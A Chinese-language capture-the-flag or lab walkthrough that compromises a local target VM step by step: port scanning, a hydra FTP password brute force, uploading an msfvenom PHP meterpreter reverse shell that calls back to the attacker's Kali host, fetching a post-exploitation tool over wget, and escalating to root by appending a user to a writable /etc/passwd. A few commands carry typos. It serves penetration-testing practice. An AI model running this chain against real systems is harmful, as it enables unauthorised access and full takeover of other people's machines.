一、信息收集
1.查看kali的IP地址和靶机的IP地址
打开kalli输入ifconfig回车,查看kali的IP地址
输入arp-scan -l回车,查看靶机的IP地址
如图1.1所示
得到基本信息
靶机IP地址:192.168.220.136
kali的IP地址:192.168.220.131
2.查看靶机的端口信息
使用nmap工具扫描靶机
输入nmap 192.168.220.0/24回车,如图1.2.1所示
注:192.168.220.0/24是指IP地址范围是从192.168.220.0
到192.168.220.255
发现靶机打开的端口有21,80
需要更详细的协议版本信息,输入nmap -sV 192.168.220.136回车
版本信息如图1.2.2所示
二、漏洞扫描技术
1.查看80端口的web页面是否可用
在kali中打开Firefox浏览器,输入靶机的IP地址192.168.220.136回车
得到页面如图2.1.1所示
按F12查看一下源代码,如图2.1.2所示
找到可用信息,靶机的用户名可能为chili,无其他可用信息。
2.查看21端口ftp服务的软件版本是否可利用
可通过Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers查看漏洞信息。如图2.2.1所示
在kali中输入msfconsole启动metasploit框架
输入search vsftpd 3.0.3回车,结果如图2.2.2所示
结果发现此版本并不能直接被使用
三、利用漏洞,获得访问权限后提升为最高权限
1.尝试对21端口进行爆破
使用九头蛇对ftp登录进行爆破,准备好密码字典mima.txt
输入hydra -l chili -P /root/Desktop/mima.txt ftp://192.168.220.136
地址为靶机地址,结果如图3.1所示
结果所示 用户名为 kali 密码为 a1b2c3d4
注意:如果密码字典的文件not found,则考虑可把密码字典的绝对路径写清楚
如果密码没有找到,则考虑换一个更丰富的密码字典文件
2.利用爆破结果ftp远程登陆
输入ftp 192.168.220.136回车
填写用户名chili回车
填写密码a1b2c3d4回车(填写的时候屏幕上无显示)
看到最后一行为ftp>后代表登录成功,如图3.2所示
3.远程查看各文件夹的详细权限
输入cd /var/www/html
输入ls -a回车,如图3.3所示
发现.nano文件夹具有读写和执行权限,可以上传一个反弹shell文件到.nano文件夹中,修改其权限,然后利用反弹shell进行渗透
注意:如果ls命令无法得到想要的详细结果,可用ls -a命令来查看
4.利用metasploit框架生成木马文件并查看内容
输入msfconsole进入metasploit框架,输入以下命令回车结果如图3.4.1所示
msfvenom -p php/meterpreter/reverse tcp LHoST=192.168.220.131 LPORT=8888 R>shell.php
输入exit退出metasploit框架
输入cat shell.php查看木马文件内容,结果如图3.4.2所示
5.把本地木马远程上传到.nano文件夹中并提升文件权限
第一步:远程上传
输入ftp 192.168.220.136回车进行ftp登录
输入put shell.php /var/www/html/.nano/shell.php命令将本地木马远程上传到靶机的.nano文件夹中
如图3.5.1所示
注意:直接输入 put shell.php /var/www/html/.nano/shell.php命令与图所示的分开输入都可行
先输入操作put回车
括号提示本地文件,则输入shell.php回车
括号提示远程文件,则输入/var/www/html/.nano/shell.php回车
可见此工具的操作容错性好,对用户十分友好
第二步:提升文件权限
切换路径为.nano文件夹下,输入chmod 777 shell.php回车
输入ls -a检查权限是否成功修改
结果如图3.5.2所示
注意:修改权限前一定要注意当前路径是否正确
chmod
是用于更改文件或目录权限的命令。
+x
表示将文件的可执行权限添加给文件所有者(以及其他用户,取决于具体的权限设置)。在这个上下文中,+x
代表使 shell.php
文件变得可执行。
shell.php
是要更改权限的文件名。
执行这个命令后,shell.php
文件将被标记为可执行,这意味着你可以直接运行它。如果你希望一个脚本或程序能够被执行,需要设置执行权限。请注意,这个操作必须谨慎执行,特别是涉及到脚本文件时,以避免安全风险。
所以为了安全起见,chmod 777 shell.php命令前可以先进行chmod +x shell.php操作
6.使用vsftpd漏洞利用工具
输入msfconsole进入metasploit框架,输入use exploit/multi/handler回车,结果如图3.6.1所示
输入options回车,查看此攻击的所需参数,结果如图3.6.2所示
输入set lhost 192.168.220.131设置本机地址参数
输入set lport 8888设置攻击端口参数
输入set payload php/meterpreter/reverse tcp设置攻击载荷参数
最后输入run或者exploit执行渗透攻击
结果如图3.6.3所示
7.得到反弹shell后登录并获得权限
运行后得到的显示如3.7.1所示
此时打开kali的Firefox浏览器输入访问http://192.168.220.136/.nano/shell.php
结果如图3.7.2所示
若最后一行为meterpreter >则代表成功反弹shell
此时输入shell则开始远程控制
输入以下命令获得权限,结果如图3.7.3所示
python3 -c "import pty;pty.spawn('/bin/bash')"
8.提权到最高权限
第一步:下载工具并移动到虚拟机中
从https://github.com/luke-goddard/enumy/releases下载后渗透工具enumy
下滑选择enumy64位版本下载
下载完成后将工具移动到kali中,如图3.8.1所示
第二步:开启服务将工具传输到靶机中
开一个新的控制终端,输入python3 -m sever.http 开启服务器,如图3.8.2所示
回到第一个控制终端输入wget http://192.168.220.131:8000/enumy64
利用刚开启的8000端口,将工具传输到靶机里如图3.8.3所示
如果反馈显示为 failed: connection refused.
则需要确定是否成功开启服务,看到OK才成功传输
第三步:运行工具,找到有用信息
输入./enumy64运行工具,发现运行失败,因为此文件还未获得运行权限
需要先输入chmod 777 enumy64使文件获得运行权限,然后再运行工具
如图3.8.4所示
获得有用信息,如图3.8.5所示
发现在/etc/passwd文件有写的权限,可以利用这个文件,写入一个高级的用户,再切换到这个账户完成提权。
第四步:新建一个root权限的用户
输入/usr/bin/perl -le 'print crypt("test","test")'命令,会输出密码test加密后的字符串
如图3.8.6所示
输入echo 'test:teH0wLIpW0gyQ:0:0:root:/root:/bin/bash' >> /etc/passwd命令,再passwd文件中创建具有root权限的test用户如图3.8.7所示
第五步:登录并切换到高权限用户
输入su test
密码为test
登录确认为root用户
如图3.8.8所示则提权成功